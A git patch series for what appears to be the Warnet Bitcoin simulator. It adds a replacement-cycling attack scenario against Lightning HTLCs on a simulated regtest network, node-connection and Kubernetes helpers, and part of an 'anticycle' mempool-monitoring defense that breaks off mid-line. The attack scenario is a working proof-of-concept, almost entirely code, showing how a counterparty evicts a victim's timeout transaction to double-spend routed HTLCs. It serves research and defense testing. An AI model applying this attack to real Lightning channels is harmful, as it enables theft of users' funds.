From cd7cb982a3b0f6c84bea521b01573404ae7f2e1e Mon Sep 17 00:00:00 2001 From: Grant Date: Thu, 16 May 2024 01:28:49 -0500 Subject: [PATCH 1/5] add replacement cycling Add ariard's replacement cycling test nearly verbatim:update its base class to warnet, and add a call to `generatetoaddress` because test framework assumes a kick-started chain by default. --- src/scenarios/replacement_cycling.py | 384 +++++++++++++++++++++++++++ src/warnet/test_framework_bridge.py | 13 +- test/scenarios_test.py | 2 +- 3 files changed, 397 insertions(+), 2 deletions(-) create mode 100644 src/scenarios/replacement_cycling.py diff --git a/src/scenarios/replacement_cycling.py b/src/scenarios/replacement_cycling.py new file mode 100644 index 000000000..975a5e4df --- /dev/null +++ b/src/scenarios/replacement_cycling.py @@ -0,0 +1,384 @@ +#!/usr/bin/env python3 +# Copyright (c) 2023 The Bitcoin Core developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +# +# https://github.com/ariard/bitcoin/blob/30f5d5b270e4ff195e8dcb9ef6b7ddcc5f6a1bf2/test/functional/mempool_replacement_cycling.py#L5 + + +def cli_help(): + return "Run a replacement cycling attack" + +"""Test replacement cyling attacks against Lightning channels""" + +from test_framework.key import ( + ECKey +) + +from test_framework.messages import ( + CTransaction, + CTxIn, + CTxInWitness, + CTxOut, + COutPoint, + sha256, + COIN, + tx_from_hex, +) + +from test_framework.util import ( + assert_equal +) + +from test_framework.script import ( + CScript, + hash160, + OP_IF, + OP_HASH160, + OP_EQUAL, + OP_ELSE, + OP_ENDIF, + OP_CHECKSIG, + OP_SWAP, + OP_SIZE, + OP_NOTIF, + OP_DROP, + OP_CHECKMULTISIG, + OP_EQUALVERIFY, + OP_0, + OP_2, + OP_TRUE, + SegwitV0SignatureHash, + SIGHASH_ALL, + SIGHASH_SINGLE, + SIGHASH_ANYONECANPAY, +) + +#from test_framework.test_framework import BitcoinTestFramework +from warnet.test_framework_bridge import WarnetTestFramework + +from test_framework.wallet import MiniWallet + +def get_funding_redeemscript(funder_pubkey, fundee_pubkey): + return CScript([OP_2, funder_pubkey.get_bytes(), fundee_pubkey.get_bytes(), OP_2, OP_CHECKMULTISIG]) + +def get_anchor_single_key_redeemscript(pubkey): + return CScript([pubkey.get_bytes(), OP_CHECKSIG]) + +def generate_funding_chan(wallet, coin, funder_pubkey, fundee_pubkey): + witness_script = get_funding_redeemscript(funder_pubkey, fundee_pubkey) + witness_program = sha256(witness_script) + script_pubkey = CScript([OP_0, witness_program]) + + funding_tx = CTransaction() + funding_tx.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"")) + funding_tx.vout.append(CTxOut(int(49.99998 * COIN), script_pubkey)) + funding_tx.rehash() + + wallet.sign_tx(funding_tx) + return funding_tx + +def generate_parent_child_tx(wallet, coin, pubkey, sat_per_vbyte): + ## We build a junk parent transaction for the second-stage HTLC-preimage + junk_parent_fee = 158 * sat_per_vbyte + + junk_script = CScript([OP_TRUE]) + junk_scriptpubkey = CScript([OP_0, sha256(junk_script)]) + + junk_parent = CTransaction() + junk_parent.vin.append(CTxIn(COutPoint(int(coin['txid'], 16), coin['vout']), b"")) + junk_parent.vout.append(CTxOut(int(49.99998 * COIN - junk_parent_fee), junk_scriptpubkey)) + + wallet.sign_tx(junk_parent) + junk_parent.rehash() + + child_tx_fee = 158 * sat_per_vbyte + + child_tx = CTransaction() + child_tx.vin.append(CTxIn(COutPoint(int(junk_parent.hash, 16), 0), b"", 0)) + child_tx.vout.append(CTxOut(int(49.99998 * COIN - (junk_parent_fee + child_tx_fee)), junk_scriptpubkey)) + + child_tx.wit.vtxinwit.append(CTxInWitness()) + child_tx.wit.vtxinwit[0].scriptWitness.stack = [junk_script] + child_tx.rehash() + + return (junk_parent, child_tx) + +def generate_preimage_tx(input_amount, sat_per_vbyte, funder_seckey, fundee_seckey, hashlock, commitment_tx, preimage_parent_tx): + + commitment_fee = 158 * 2 # Old sat per vbyte + + witness_script = CScript([fundee_seckey.get_pubkey().get_bytes(), OP_SWAP, OP_SIZE, 32, + OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, + OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) + + spend_script = CScript([OP_TRUE]) + spend_scriptpubkey = CScript([OP_0, sha256(spend_script)]) + + preimage_fee = 148 * sat_per_vbyte + receiver_preimage = CTransaction() + receiver_preimage.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", 0)) + receiver_preimage.vin.append(CTxIn(COutPoint(int(preimage_parent_tx.hash, 16), 0), b"", 0)) + receiver_preimage.vout.append(CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) + + sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + + # Spend the commitment transaction HTLC output + receiver_preimage.wit.vtxinwit.append(CTxInWitness()) + receiver_preimage.wit.vtxinwit[0].scriptWitness.stack = [fundee_sig, b'a' * 32, witness_script] + + # Spend the parent transaction OP_TRUE output + junk_script = CScript([OP_TRUE]) + receiver_preimage.wit.vtxinwit.append(CTxInWitness()) + receiver_preimage.wit.vtxinwit[1].scriptWitness.stack = [junk_script] + receiver_preimage.rehash() + + return (receiver_preimage) + +def create_chan_state(funding_txid, funding_vout, funder_seckey, fundee_seckey, input_amount, input_script, sat_per_vbyte, timelock, hashlock, nSequence, preimage_parent_tx): + witness_script = CScript([fundee_seckey.get_pubkey().get_bytes(), OP_SWAP, OP_SIZE, 32, + OP_EQUAL, OP_NOTIF, OP_DROP, 2, OP_SWAP, funder_seckey.get_pubkey().get_bytes(), 2, OP_CHECKMULTISIG, OP_ELSE, + OP_HASH160, hashlock, OP_EQUALVERIFY, OP_CHECKSIG, OP_ENDIF]) + witness_program = sha256(witness_script) + script_pubkey = CScript([OP_0, witness_program]) + + # Expected size = 158 vbyte + commitment_fee = 158 * sat_per_vbyte + commitment_tx = CTransaction() + commitment_tx.vin.append(CTxIn(COutPoint(int(funding_txid, 16), funding_vout), b"", 0x1)) + commitment_tx.vout.append(CTxOut(int(input_amount - 158 * sat_per_vbyte), script_pubkey)) + + sig_hash = SegwitV0SignatureHash(input_script, commitment_tx, 0, SIGHASH_ALL, int(input_amount)) + funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b'\x01' + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + + commitment_tx.wit.vtxinwit.append(CTxInWitness()) + commitment_tx.wit.vtxinwit[0].scriptWitness.stack = [b'', funder_sig, fundee_sig, input_script] + commitment_tx.rehash() + + spend_script = CScript([OP_TRUE]) + spend_scriptpubkey = CScript([OP_0, sha256(spend_script)]) + + timeout_fee = 158 * sat_per_vbyte + offerer_timeout = CTransaction() + offerer_timeout.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", nSequence)) + offerer_timeout.vout.append(CTxOut(int(input_amount - (commitment_fee + timeout_fee)), spend_scriptpubkey)) + offerer_timeout.nLockTime = timelock + + sig_hash = SegwitV0SignatureHash(witness_script, offerer_timeout, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + funder_sig = funder_seckey.sign_ecdsa(sig_hash) + b'\x01' + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + + offerer_timeout.wit.vtxinwit.append(CTxInWitness()) + offerer_timeout.wit.vtxinwit[0].scriptWitness.stack = [b'', fundee_sig, funder_sig, b'', witness_script] + offerer_timeout.rehash() + + preimage_fee = 148 * sat_per_vbyte + receiver_preimage = CTransaction() + receiver_preimage.vin.append(CTxIn(COutPoint(int(commitment_tx.hash, 16), 0), b"", 0)) + receiver_preimage.vin.append(CTxIn(COutPoint(int(preimage_parent_tx.hash, 16), 0), b"", 0)) + receiver_preimage.vout.append(CTxOut(int(2 * input_amount - (commitment_fee + preimage_fee * 3)), spend_scriptpubkey)) + + sig_hash = SegwitV0SignatureHash(witness_script, receiver_preimage, 0, SIGHASH_ALL, commitment_tx.vout[0].nValue) + fundee_sig = fundee_seckey.sign_ecdsa(sig_hash) + b'\x01' + + # Spend the commitment transaction HTLC output + receiver_preimage.wit.vtxinwit.append(CTxInWitness()) + receiver_preimage.wit.vtxinwit[0].scriptWitness.stack = [fundee_sig, b'a' * 32, witness_script] + + # Spend the parent transaction OP_TRUE output + junk_script = CScript([OP_TRUE]) + receiver_preimage.wit.vtxinwit.append(CTxInWitness()) + receiver_preimage.wit.vtxinwit[1].scriptWitness.stack = [junk_script] + receiver_preimage.rehash() + + return (commitment_tx, offerer_timeout, receiver_preimage) + + +class ReplacementCyclingTest(WarnetTestFramework): + + def set_test_params(self): + self.num_nodes = 2 + + def test_replacement_cycling(self): + alice = self.nodes[0] + alice_seckey = ECKey() + alice_seckey.generate(True) + + bob = self.nodes[1] + bob_seckey = ECKey() + bob_seckey.generate(True) + + self.generate(alice, 501) + + self.sync_all() + + self.connect_nodes(0, 1) + + coin_1 = self.wallet.get_utxo() + + wallet = self.wallet + + # Generate funding transaction opening channel between Alice and Bob. + ab_funding_tx = generate_funding_chan(wallet, coin_1, alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) + + # Propagate and confirm funding transaction. + ab_funding_txid = alice.sendrawtransaction(hexstring=ab_funding_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert ab_funding_txid in alice.getrawmempool() + assert ab_funding_txid in bob.getrawmempool() + + # We mine one block the Alice - Bob channel is opened. + self.generate(alice, 1) + assert_equal(len(alice.getrawmempool()), 0) + assert_equal(len(bob.getrawmempool()), 0) + + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + lastblockheight = block['height'] + + hashlock = hash160(b'a' * 32) + + funding_redeemscript = get_funding_redeemscript(alice_seckey.get_pubkey(), bob_seckey.get_pubkey()) + + coin_2 = self.wallet.get_utxo() + + parent_seckey = ECKey() + parent_seckey.generate(True) + + (bob_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, parent_seckey.get_pubkey(), 1) + + (ab_commitment_tx, alice_timeout_tx, bob_preimage_tx) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, 49.99998 * COIN, funding_redeemscript, 2, lastblockheight + 20, hashlock, 0x1, bob_parent_tx) + + # We broadcast Alice - Bob commitment transaction. + ab_commitment_txid = alice.sendrawtransaction(hexstring=ab_commitment_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert ab_commitment_txid in alice.getrawmempool() + assert ab_commitment_txid in bob.getrawmempool() + + # Assuming anchor output channel, commitment transaction must be confirmed. + # Additionally we mine sufficient block for the alice timeout tx to be final. + self.generate(alice, 20) + assert_equal(len(alice.getrawmempool()), 0) + assert_equal(len(bob.getrawmempool()), 0) + + # Broadcast the Bob parent transaction and its child transaction + bob_parent_txid = bob.sendrawtransaction(hexstring=bob_parent_tx.serialize().hex(), maxfeerate=0) + bob_child_txid = bob.sendrawtransaction(hexstring=bob_child_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert bob_parent_txid in alice.getrawmempool() + assert bob_parent_txid in bob.getrawmempool() + assert bob_child_txid in alice.getrawmempool() + assert bob_child_txid in bob.getrawmempool() + + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + blockheight_print = block['height'] + + self.log.info("Alice broadcasts her HTLC timeout transaction at block height {}".format(blockheight_print)) + + # Broadcast the Alice timeout transaction + alice_timeout_txid = alice.sendrawtransaction(hexstring=alice_timeout_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert alice_timeout_txid in alice.getrawmempool() + assert alice_timeout_txid in bob.getrawmempool() + + # Broadcast the Bob preimage transaction + bob_preimage_txid = bob.sendrawtransaction(hexstring=bob_preimage_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert bob_preimage_txid in alice.getrawmempool() + assert bob_preimage_txid in bob.getrawmempool() + + self.log.info("Bob broadcasts his HTLC preimage transaction at block height {} to replace".format(blockheight_print)) + + # Check Alice timeout transaction and Bob child tx are not in the mempools anymore + assert not alice_timeout_txid in alice.getrawmempool() + assert not alice_timeout_txid in bob.getrawmempool() + assert not bob_child_txid in alice.getrawmempool() + assert not bob_child_txid in bob.getrawmempool() + + # Generate a higher fee parent transaction and broadcast it to replace Bob preimage tx + (bob_replacement_parent_tx, bob_child_tx) = generate_parent_child_tx(wallet, coin_2, parent_seckey.get_pubkey(), 10) + + bob_replacement_parent_txid = bob.sendrawtransaction(hexstring=bob_replacement_parent_tx.serialize().hex(), maxfeerate=0) + + self.sync_all() + + # Check Bob HTLC preimage is not in the mempools anymore + assert not bob_preimage_txid in alice.getrawmempool() + assert not bob_preimage_txid in bob.getrawmempool() + assert bob_replacement_parent_txid in alice.getrawmempool() + assert bob_replacement_parent_txid in alice.getrawmempool() + + # Check there is only 1 transaction (bob_replacement_parent_txid) in the mempools + assert_equal(len(alice.getrawmempool()), 1) + assert_equal(len(bob.getrawmempool()), 1) + + # A block is mined and bob replacement parent should have confirms. + self.generate(alice, 1) + assert_equal(len(alice.getrawmempool()), 0) + assert_equal(len(bob.getrawmempool()), 0) + + # Alice can re-broadcast her HTLC-timeout as the offered output has not been claimed + # Note the HTLC-timeout _txid_ must be modified to bypass p2p filters. Here we +1 the nSequence. + (_, alice_timeout_tx_2, _) = create_chan_state(ab_funding_txid, 0, alice_seckey, bob_seckey, 49.99998 * COIN, funding_redeemscript, 2, lastblockheight + 20, hashlock, 0x2, bob_parent_tx) + alice_timeout_txid_2 = alice.sendrawtransaction(hexstring=alice_timeout_tx_2.serialize().hex(), maxfeerate=0) + + self.sync_all() + + lastblockhash = alice.getbestblockhash() + block = alice.getblock(lastblockhash) + blockheight_print = block['height'] + + self.log.info("Alice re-broadcasts her HTLC timeout transaction at block height {}".format(blockheight_print)) + + assert alice_timeout_txid_2 in alice.getrawmempool() + assert alice_timeout_txid_2 in bob.getrawmempool() + + # Note all the transactions are re-generated to bypass p2p filters + coin_3 = self.wallet.get_utxo() + (bob_parent_tx_2, bob_child_tx_2) = generate_parent_child_tx(wallet, coin_3, parent_seckey.get_pubkey(), 4) + bob_preimage_tx_2 = generate_preimage_tx(49.9998 * COIN, 4, alice_seckey, bob_seckey, hashlock, ab_commitment_tx, bob_parent_tx_2) + + bob_parent_txid_2 = bob.sendrawtransaction(hexstring=bob_parent_tx_2.serialize().hex(), maxfeerate=0) + + self.sync_all() + + bob_child_txid_2 = bob.sendrawtransaction(hexstring=bob_child_tx_2.serialize().hex(), maxfeerate=0) + + self.sync_all() + + bob_preimage_txid_2 = bob.sendrawtransaction(hexstring=bob_preimage_tx_2.serialize().hex(), maxfeerate=0) + + self.sync_all() + + assert bob_preimage_txid_2 in alice.getrawmempool() + assert bob_preimage_txid_2 in bob.getrawmempool() + assert not alice_timeout_txid_2 in alice.getrawmempool() + assert not alice_timeout_txid_2 in bob.getrawmempool() + + self.log.info("Bob re-broadcasts his HTLC preimage transaction at block height {} to replace".format(blockheight_print)) + + # Bob can repeat this replacement cycling trick until an inbound HTLC of Alice expires and double-spend her routed HTLCs. + + def run_test(self): + self.generatetoaddress(self.nodes[0], nblocks=101, + address="bcrt1p9yfmy5h72durp7zrhlw9lf7jpwjgvwdg0jr0lqmmjtgg83266lqsekaqka") + + self.wallet = MiniWallet(self.nodes[0]) + + self.test_replacement_cycling() + +if __name__ == '__main__': + ReplacementCyclingTest().main() \ No newline at end of file diff --git a/src/warnet/test_framework_bridge.py b/src/warnet/test_framework_bridge.py index c8b4ff00e..edca829fb 100644 --- a/src/warnet/test_framework_bridge.py +++ b/src/warnet/test_framework_bridge.py @@ -7,15 +7,16 @@ import signal import sys import tempfile +import time from test_framework.authproxy import AuthServiceProxy from test_framework.p2p import NetworkThread from test_framework.test_framework import ( TMPDIR_PREFIX, BitcoinTestFramework, + TestNode, TestStatus, ) -from test_framework.test_node import TestNode from test_framework.util import PortSeed, get_rpc_proxy from warnet.warnet import Warnet @@ -302,3 +303,13 @@ def parse_args(self): self.options.descriptors = None PortSeed.n = self.options.port_seed + + def connect_nodes(self, a, b, *, peer_advertises_v2=None, wait_for_connect: bool = True): + """ + Kwargs: + wait_for_connect: if True, block until the nodes are verified as connected. You might + want to disable this when using -stopatheight with one of the connected nodes, + since there will be a race between the actual connection and performing + the assertions before one node shuts down. + """ + self.log.info(f"test_framework_bridge - connect_nodes - {self.chain}: not implemented") diff --git a/test/scenarios_test.py b/test/scenarios_test.py index cbb4a1964..b5f447a80 100755 --- a/test/scenarios_test.py +++ b/test/scenarios_test.py @@ -14,7 +14,7 @@ # Use rpc instead of warcli so we get raw JSON object scenarios = base.rpc("scenarios_available") -assert len(scenarios) == 4 +assert len(scenarios) == 5 # Start scenario base.warcli("scenarios run miner_std --allnodes --interval=1") From cb49207583eaf1e940fc1d38c038ac8fc80c59b8 Mon Sep 17 00:00:00 2001 From: Grant Date: Thu, 16 May 2024 00:09:47 -0500 Subject: [PATCH 2/5] add `get_service_ip` --- src/scenarios/utils.py | 15 +++++++++++++++ src/templates/rpc/rbac-config.yaml | 2 +- 2 files changed, 16 insertions(+), 1 deletion(-) diff --git a/src/scenarios/utils.py b/src/scenarios/utils.py index b0204d461..080c48920 100644 --- a/src/scenarios/utils.py +++ b/src/scenarios/utils.py @@ -1,5 +1,20 @@ +from ipaddress import IPv4Address, IPv6Address, ip_address +from kubernetes import client, config + + def ensure_miner(node): wallets = node.listwallets() if "miner" not in wallets: node.createwallet("miner", descriptors=True) return node.get_wallet_rpc("miner") + + +def get_service_ip(service_name: str, namespace: str = "warnet") -> (IPv4Address | IPv6Address, + IPv4Address | IPv6Address): + """Given a service name and namespace, returns the service's external ip and internal ip""" + config.load_incluster_config() + v1 = client.CoreV1Api() + service = v1.read_namespaced_service(name=service_name, namespace=namespace) + endpoints = v1.read_namespaced_endpoints(name=service_name, namespace=namespace) + inner_ip = endpoints.subsets[0].addresses[0].ip + return ip_address(service.spec.cluster_ip), ip_address(inner_ip) diff --git a/src/templates/rpc/rbac-config.yaml b/src/templates/rpc/rbac-config.yaml index 06bbfc480..71f38201d 100644 --- a/src/templates/rpc/rbac-config.yaml +++ b/src/templates/rpc/rbac-config.yaml @@ -8,7 +8,7 @@ rules: resources: [pods] verbs: [get, list, create, update, patch, delete] - apiGroups: [""] - resources: [services] + resources: [services, endpoints] verbs: [get, list, create, update, patch, delete] - apiGroups: [""] resources: [pods/exec] From 83476dc7cdf9d39beeeb56855482963da475e786 Mon Sep 17 00:00:00 2001 From: Grant Date: Thu, 16 May 2024 00:14:44 -0500 Subject: [PATCH 3/5] add `connect_nodes` --- src/warnet/test_framework_bridge.py | 75 ++++++++++++++++++++++++++--- 1 file changed, 69 insertions(+), 6 deletions(-) diff --git a/src/warnet/test_framework_bridge.py b/src/warnet/test_framework_bridge.py index edca829fb..f104db58e 100644 --- a/src/warnet/test_framework_bridge.py +++ b/src/warnet/test_framework_bridge.py @@ -1,5 +1,6 @@ import argparse import configparser +import ipaddress import logging import os import pathlib @@ -7,8 +8,8 @@ import signal import sys import tempfile -import time +from scenarios.utils import get_service_ip from test_framework.authproxy import AuthServiceProxy from test_framework.p2p import NetworkThread from test_framework.test_framework import ( @@ -262,6 +263,12 @@ def parse_args(self): dest="backend", help="Designate which warnet backend this should run on", ) + parser.add_argument( + "--v2transport", + dest="v2transport", + default=False, + action="store_true", + help="use BIP324 v2 connections between all nodes by default") self.add_options(parser) # Running TestShell in a Jupyter notebook causes an additional -f argument @@ -307,9 +314,65 @@ def parse_args(self): def connect_nodes(self, a, b, *, peer_advertises_v2=None, wait_for_connect: bool = True): """ Kwargs: - wait_for_connect: if True, block until the nodes are verified as connected. You might - want to disable this when using -stopatheight with one of the connected nodes, - since there will be a race between the actual connection and performing - the assertions before one node shuts down. + wait_for_connect: if True, block until the nodes are verified as connected. You might + want to disable this when using -stopatheight with one of the connected nodes, + since there will be a race between the actual connection and performing + the assertions before one node shuts down. """ - self.log.info(f"test_framework_bridge - connect_nodes - {self.chain}: not implemented") + from_connection = self.nodes[a] + to_connection = self.nodes[b] + + for network_info in to_connection.getnetworkinfo()["localaddresses"]: + to_address = network_info["address"] + local_ip = ipaddress.ip_address("0.0.0.0") + to_ip = ipaddress.ip_address(to_address) + if to_ip.version == 4 and to_ip is not local_ip: + to_ip_port = to_address + ":" + str(network_info["port"]) + + for network_info in from_connection.getnetworkinfo()["localaddresses"]: + from_address = network_info["address"] + local_ip = ipaddress.ip_address("0.0.0.0") + from_ip = ipaddress.ip_address(from_address) + if from_ip.version == 4 and from_ip is not local_ip: + from_ip_port = from_address + ":" + str(network_info["port"]) + + if peer_advertises_v2 is None: + peer_advertises_v2 = self.options.v2transport + + if peer_advertises_v2: + from_connection.addnode(node=to_ip_port, command="onetry", v2transport=True) + else: + # skip the optional third argument (default false) for + # compatibility with older clients + from_connection.addnode(to_ip_port, "onetry") + + if not wait_for_connect: + return + + def get_peer_ip(peer): + try: # we encounter a regular ip address + return ipaddress.ip_address(peer['addr'].split(':')[0]) + except ValueError: # or we encounter a service name + return get_service_ip(peer['addr'])[1] + + # poll until version handshake complete to avoid race conditions + # with transaction relaying + # See comments in net_processing: + # * Must have a version message before anything else + # * Must have a verack message before anything else + self.wait_until(lambda: any(peer['addr'] == to_ip_port and peer['version'] != 0 + for peer in from_connection.getpeerinfo())) + self.wait_until(lambda: any(str(get_peer_ip(peer)) + ":18444" == from_ip_port and peer['version'] != 0 + for peer in to_connection.getpeerinfo())) + self.wait_until(lambda: any(peer['addr'] == to_ip_port and peer['bytesrecv_per_msg'].pop('verack', 0) >= 21 + for peer in from_connection.getpeerinfo())) + self.wait_until(lambda: any(str(get_peer_ip(peer)) + ":18444" == from_ip_port + and peer['bytesrecv_per_msg'].pop('verack', 0) >= 21 + for peer in to_connection.getpeerinfo())) + # The message bytes are counted before processing the message, so make + # sure it was fully processed by waiting for a ping. + self.wait_until(lambda: any(peer['addr'] == to_ip_port and peer["bytesrecv_per_msg"].pop("pong", 0) >= 29 + for peer in from_connection.getpeerinfo())) + self.wait_until(lambda: any(str(get_peer_ip(peer)) + ":18444" == from_ip_port + and peer["bytesrecv_per_msg"].pop("pong", 0) >= 29 + for peer in to_connection.getpeerinfo())) From 1e3aee9bcd9bc91d6383b67520e701784e3780cc Mon Sep 17 00:00:00 2001 From: Grant Date: Thu, 16 May 2024 03:13:12 -0500 Subject: [PATCH 4/5] reduce the goods by one This ensures sufficient funds for fees. The ln_init.py process will fail due to insufficient funds if the number of coins it generates is evenly divisible relative to the number of recipients. --- src/scenarios/ln_init.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/scenarios/ln_init.py b/src/scenarios/ln_init.py index fdd50f744..759ca5d83 100644 --- a/src/scenarios/ln_init.py +++ b/src/scenarios/ln_init.py @@ -35,7 +35,7 @@ def run_test(self): # 298 block base self.generatetoaddress(self.nodes[0], 297, miner_addr) # divvy up the goods - split = miner.getbalance() // len(recv_addrs) + split = (miner.getbalance() - 1) // len(recv_addrs) sends = {} for addr in recv_addrs: sends[addr] = split From c3820c3867841777c439140f01aac0eb8a8ed8e1 Mon Sep 17 00:00:00 2001 From: Grant Date: Thu, 23 May 2024 17:39:21 -0500 Subject: [PATCH 5/5] add anticycle --- requirements.in | 1 + requirements.txt | 29 ++- src/backends/kubernetes/kubernetes_backend.py | 3 + src/scenarios/anticycle.py | 225 ++++++++++++++++++ src/scenarios/replacement_cycling.py | 75 +++++- src/templates/Dockerfile | 2 +- src/warnet/tank.py | 2 + test/scenarios_test.py | 2 +- 8 files changed, 322 insertions(+), 17 deletions(-) create mode 100644 src/scenarios/anticycle.py diff --git a/requirements.in b/requirements.in index ada695b50..54fffb805 100644 --- a/requirements.in +++ b/requirements.in @@ -12,3 +12,4 @@ requests<2.30 rich tabulate PyYAML +pyzmq \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index e0e22b039..888bc406e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -15,11 +15,17 @@ certifi==2023.11.17 charset-normalizer==3.3.2 # via requests click==8.1.7 - # via flask + # via + # -r requirements.in + # flask docker==7.0.0 + # via -r requirements.in flask==3.0.0 - # via flask-jsonrpc + # via + # -r requirements.in + # flask-jsonrpc flask-jsonrpc==1.1.0 + # via -r requirements.in google-auth==2.25.2 # via kubernetes idna==3.6 @@ -29,12 +35,17 @@ itsdangerous==2.1.2 jinja2==3.1.2 # via flask jsonrpcclient==4.0.3 + # via -r requirements.in jsonrpcserver==5.0.9 + # via -r requirements.in jsonschema==4.20.0 - # via jsonrpcserver + # via + # -r requirements.in + # jsonrpcserver jsonschema-specifications==2023.12.1 # via jsonschema kubernetes==28.1.0 + # via -r requirements.in markdown-it-py==3.0.0 # via rich markupsafe==2.1.3 @@ -44,7 +55,9 @@ markupsafe==2.1.3 mdurl==0.1.2 # via markdown-it-py networkx==3.2.1 + # via -r requirements.in numpy==1.26.2 + # via -r requirements.in oauthlib==3.2.2 # via # kubernetes @@ -64,19 +77,25 @@ pygments==2.17.2 python-dateutil==2.8.2 # via kubernetes pyyaml==6.0.1 - # via kubernetes + # via + # -r requirements.in + # kubernetes +pyzmq==25.1.2 + # via -r requirements.in referencing==0.32.0 # via # jsonschema # jsonschema-specifications requests==2.29.0 # via + # -r requirements.in # docker # kubernetes # requests-oauthlib requests-oauthlib==1.3.1 # via kubernetes rich==13.7.0 + # via -r requirements.in rpds-py==0.16.2 # via # jsonschema @@ -88,6 +107,7 @@ six==1.16.0 # kubernetes # python-dateutil tabulate==0.9.0 + # via -r requirements.in typeguard==2.13.3 # via flask-jsonrpc typing-extensions==4.9.0 @@ -101,4 +121,3 @@ websocket-client==1.7.0 # via kubernetes werkzeug==3.0.1 # via flask - diff --git a/src/backends/kubernetes/kubernetes_backend.py b/src/backends/kubernetes/kubernetes_backend.py index 4d56efa26..d378f17ce 100644 --- a/src/backends/kubernetes/kubernetes_backend.py +++ b/src/backends/kubernetes/kubernetes_backend.py @@ -586,6 +586,9 @@ def create_bitcoind_service(self, tank) -> client.V1Service: client.V1ServicePort( port=tank.zmqtxport, target_port=tank.zmqtxport, name="zmqtx" ), + client.V1ServicePort( + port=tank.zmqpubsequenceport, target_port=tank.zmqpubsequenceport, name="zmqpubsequence" + ), client.V1ServicePort( port=PROMETHEUS_METRICS_PORT, target_port=PROMETHEUS_METRICS_PORT, diff --git a/src/scenarios/anticycle.py b/src/scenarios/anticycle.py new file mode 100644 index 000000000..ebaa5d1c9 --- /dev/null +++ b/src/scenarios/anticycle.py @@ -0,0 +1,225 @@ +# Original: https://github.com/instagibbs/anticycle/blob/f0f8c6a9b3d41c887e02610ef360589d05c4ebb9/anticycle.py#L1 +import queue +from decimal import Decimal +from collections import defaultdict +import json +import logging +import os +import requests +from requests.auth import HTTPBasicAuth +import struct +import sys +import zmq + +from scenarios.utils import get_service_ip +from test_framework.test_node import TestNode +from warnet.test_framework_bridge import WarnetTestFramework + +from test_framework.authproxy import JSONRPCException + +num_MB = 40 + +# # Configure logging settings +# logging.basicConfig( +# stream=sys.stdout, +# level=logging.INFO, +# format='%(asctime)s - %(message)s', +# datefmt='%Y-%m-%d %H:%M:%S' +# ) + +# Replace with cluster mempool threshholds +fee_url = 'https://mempool.space/api/v1/fees/recommended' + +# How many times a utxo has to go from Top->Bottom to be +# have its spending tx cached(if otherwise empty) +# Increasing this value reducs false positive rates +# and reduces memory usage accordingly. +CYCLE_THRESH = 1 + + +def cli_help(): + return "Run an anti-cycling defense" + +def run_anticycle(node: TestNode, channel: None | queue.Queue, logging): + ''' + Best effort mempool syncing to detect replacement cycling attacks + ''' + + logging.info(" -anticycle - Starting anticycle") + node.log.info(" -anticycle - logging from node") + + context = zmq.Context() + + # Create a socket of type SUBSCRIBE + socket = context.socket(zmq.SUB) + + # Connect to the publisher's socket + external, internal = get_service_ip("warnet-tank-000000-service") + port = "18332" # specify the port you want to listen on + socket.connect(f"tcp://{external}:{port}") + + # Subscribe to all messages + # You can specify a prefix filter here to receive specific messages + socket.setsockopt_string(zmq.SUBSCRIBE, '') + + logging.info(f" -anticycle - Listening for messages on {external}:{port}...") + + # txid -> tx cache (FIXME do better than this) + # We store these anytime above top block + # when real implementation would have access + # to these when being evicted from the mempool + # so we would only have to store in utxo_cache instead + tx_cache = {} + + # Track total serialized size in bytesof the things we are caching + # and use this as trigger for flushing. + tx_cache_byte_size = 0 + + # Note the attacker can simply be incrementally RBFing through that much + # size after paying once for "top block". + # Having just in time access to something being evicted is what + # we really want but for now we'll just roughly count what we're storing. + # FIXME if we're going with this wiping window, maybe make it less + # deterministic to avoid completely predictable windows. Does this matter? + tx_cache_max_byte_size = num_MB * 1000 * 1000 + + # utxo -> protected-txid cache + # this would the real bottleneck in terms of space if we had access to the + # transactions being evicted. We don't so for now full tx are in tx_cache + utxo_cache = {} + + # utxo -> count of topblock->nontopblock transitions + utxo_unspent_count = defaultdict(int) + + # These are populated by "R" events and cleared in + # subsequent "A" events. These are to track + # top->nontop transitions + # utxo -> removed tx's txid + utxos_being_doublespent = {} + + logging.info("anticycle - Getting Top Block fee") + topblock_rate_sat_vb = requests.get(fee_url).json()["fastestFee"] + topblock_rate_btc_kvb = Decimal(topblock_rate_sat_vb) * 1000 / 100000000 + logging.info(f"anticycle - topblock rate: {topblock_rate_btc_kvb}") + + try: + while True: + item = channel and channel.get() + if item == "shutdown": + logging.info("anticycle - Anticycle got shutdown message.") + break + + # Receive a message + topic, body, sequence = socket.recv_multipart() + received_seq = struct.unpack('= topblock_rate_btc_kvb + if 